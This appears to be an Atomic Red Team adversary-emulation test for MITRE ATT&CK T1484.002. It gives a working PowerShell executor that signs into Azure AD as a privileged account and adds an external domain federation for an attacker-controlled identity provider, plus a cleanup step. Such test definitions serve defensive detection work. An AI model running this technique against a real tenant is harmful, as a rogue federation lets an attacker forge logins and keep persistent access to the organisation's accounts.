attack_technique: T1484.002
display_name: Domain Trust Modification
atomic_tests:
- name: Add Federation to Azure AD
  auto_generated_guid: 8906c5d0-3ee5-4f63-897a-f6cafd3fdbb7
  description: |
    Add a new federation to Azure AD using PowerShell. The malicious Identity Provider to be added must be configured beforehand.
    If ADFS is used as IdP, the Uris parameters can be found at 'https://<federationservice>.<domainname>.com/federationmetadata/2007-06/federationmetadata.xml'
  supported_platforms:
  - azure-ad
  input_arguments:
    azure_username:
      description: Username of a privileged Azure AD account such as External Identity Provider Administrator or Global Administrator roles
      type: String
      default: bruce.wayne@contosocloud.com
    azure_password:
      description: Password of azure_username
      type: String
      default: iamthebatman
    active_logon_uri:
      description: Active Logon Uri, available in federation metadata at <SingleSignOnService Binding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST> field if ADFS is used.
      type: String
      default: 'https://sts.contoso.com/adfs/ls/'
    issuer_uri:
      description: Issuer Uri, available in federation metadata at the "entityID" field if ADFS is used.
      type: String
      default: 'http://sts.contoso.com/adfs/services/trust'
    metadata_uri:
      description: Metadata exchange Uri, available in federation metadata at <Address xmlns="http://www.w3.org/2005/08/addressing"> field if ADFS is used.
      type: String
      default: 'https://sts.contoso.com/adfs/services/trust/mex'
    public_key:
      description: Public key of the X509 signing token certificate, in base64
      type: String
      default: "MzAgODIgMDEgMGEgMD...gZWQgOTkgMDIgMDMgMDEgMDAgMDE="
    domain_name:
      description: New federation domain name
      type: String
      default: "contoso.com"
  dependency_executor_name: powershell
  dependencies:
  - description: |
      AzureADPreview Powershell module must be installed. The Identity Provider to be federated must be configured (outside of the scope of this test).
    prereq_command: |
      if (Get-Module AzureADPreview) {exit 0} else {exit 1}
    get_prereq_command: |
      Install-Module -Name AzureADPreview -Force
  executor:
    command: |
      Import-Module AzureADPreview
      $PWord = ConvertTo-SecureString -String "#{azure_password}" -AsPlainText -Force
      $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{azure_username}", $Pword
      Connect-AzureAD -Credential $Credential > $null
      $federationSettings = New-Object Microsoft.Open.AzureAD.Model.DomainFederationSettings
      $federationSettings.ActiveLogOnUri = "#{active_logon_uri}"
      $federationSettings.IssuerUri = "#{issuer_uri}"
      $federationSettings.LogOffUri = $federationSettings.ActiveLogOnUri
      $federationSettings.MetadataExchangeUri = "#{metadata_uri}"
      $federationSettings.PassiveLogOnUri = $federationSettings.ActiveLogOnUri
      $federationSettings.PreferredAuthenticationProtocol = "WsFed"
      $federationSettings.SigningCertificate = "#{public_key}"
      $new = New-AzureADExternalDomainFederation -ExternalDomainName "#{domain_name}" -FederationSettings $federationSettings
      if ($new) { Write-Host "`nFederation successfully added to Azure AD" } else { Write-Host "`nThe federation setup failed" }
      Get-AzureADExternalDomainFederation -ExternalDomainName "#{domain_name}"
      Write-Host "End of federation configuration."
    cleanup_command: |
      try {
      Import-Module AzureADPreview -ErrorAction Ignore
      $PWord = ConvertTo-SecureString -String "#{azure_password}" -AsPlainText -Force
      $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{azure_username}", $Pword
      Connect-AzureAD -Credential $Credential -ErrorAction Ignore
      Remove-AzureADExternalFederationDomain -ExternalDomainName "#{domain_name}"
      } catch {}
    name: powershell
    
    
